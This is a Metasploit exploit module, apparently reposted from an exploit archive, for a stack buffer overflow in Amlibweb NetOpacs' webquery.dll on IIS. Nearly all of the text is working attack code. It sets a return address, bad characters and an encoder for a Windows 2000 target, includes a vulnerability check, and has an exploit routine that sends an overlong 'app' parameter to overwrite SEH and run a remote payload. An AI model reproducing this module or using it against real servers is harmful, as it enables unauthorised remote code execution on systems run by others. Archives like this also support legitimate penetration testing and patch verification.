Amlibweb NetOpacs – ‘webquery.dll’ Remote Stack Buffer Overflow (Metasploit)
## # $Id: amlibweb_webquerydll_app.rb 11039 2010-11-14 19:03:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Amlibweb NetOpacs webquery.dll Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Amlib's Amlibweb Library Management System (NetOpacs). The webquery.dll API is available through IIS requests. By specifying an overly long string to the 'app' parameter, SeH can be reliably overwritten allowing for arbitrary remote code execution. In addition, it is possible to overwrite EIP by specifying an arbitrary parameter name with an '=' terminator. }, 'Author' => [ 'patrick' ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11039 $', 'References' => [ [ 'OSVDB', '66814'], [ 'URL', 'http://www.aushack.com/advisories/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!$", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'DisableNops' => 'True', 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ # patrickw - Tested OK 20100803 w2k IIS5 [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5 # [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only. ], 'DisclosureDate' => 'Aug 03 2010', #0day 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), ],self.class) end def check connect rand = Rex::Text.rand_text_alpha(10) sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n") res = sock.get(-1,3) disconnect if (res =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/) if ($1 == rand) return Exploit::CheckCode::Vulnerable end end Exploit::CheckCode::Safe end def exploit connect seh = generate_seh_payload(target.ret) buffer = Rex::Text.rand_text_alphanumeric(3028) + seh sploit = "GET /amlibweb/webquery.dll?app=" + buffer + " HTTP/1.0\r\n" sock.put(sploit + "\r\n\r\n") handler disconnect end end |